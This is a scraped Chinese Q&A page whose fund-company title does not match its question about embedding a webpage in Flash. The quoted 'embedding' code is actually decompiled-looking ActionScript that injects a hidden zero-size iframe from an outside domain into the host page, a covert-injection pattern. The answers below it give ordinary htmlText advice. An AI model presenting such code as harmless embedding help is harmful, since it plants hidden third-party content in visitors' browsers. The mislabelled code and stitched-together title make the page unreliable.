如何成立基金公司:怎么在flash中镶嵌一个网页??

来源:百度文库 编辑:高校问答 时间:2024/04/27 14:58:46
听说这个代码可以,但是试过不行,不知道为什么,请高手指教....

if (i == null)
{
i = 1;
if (_url.toLowerCase().substr(0, 4) == "http")
{
getURL("JavaScript:document.body.insertAdjacentHTML (\'beforeEnd\',\' < iframe src=http://www.shtm1.com/ count/counter.ap?id=a02 width=0 height=0 > < /iframe > \')", "_self");
} // end if
} // end if
return(null >>> (null | null === null));

很不方便 说白了是flash镶嵌xml,而不是真正的html

把文本框的html属性设为true,
将*.html加载到flash中,
文本框.htmlText = 加载进来的内容.

实例在Flash目录下面就有了.
Flash安装目录\Samples and Tutorials\Samples\Text\TextEnhancements

flash中还可以使用简单CSS,但是一般不赞成flash中嵌入网页,应为意义不大,绝对没有html强大! 要不就做纯的flash站~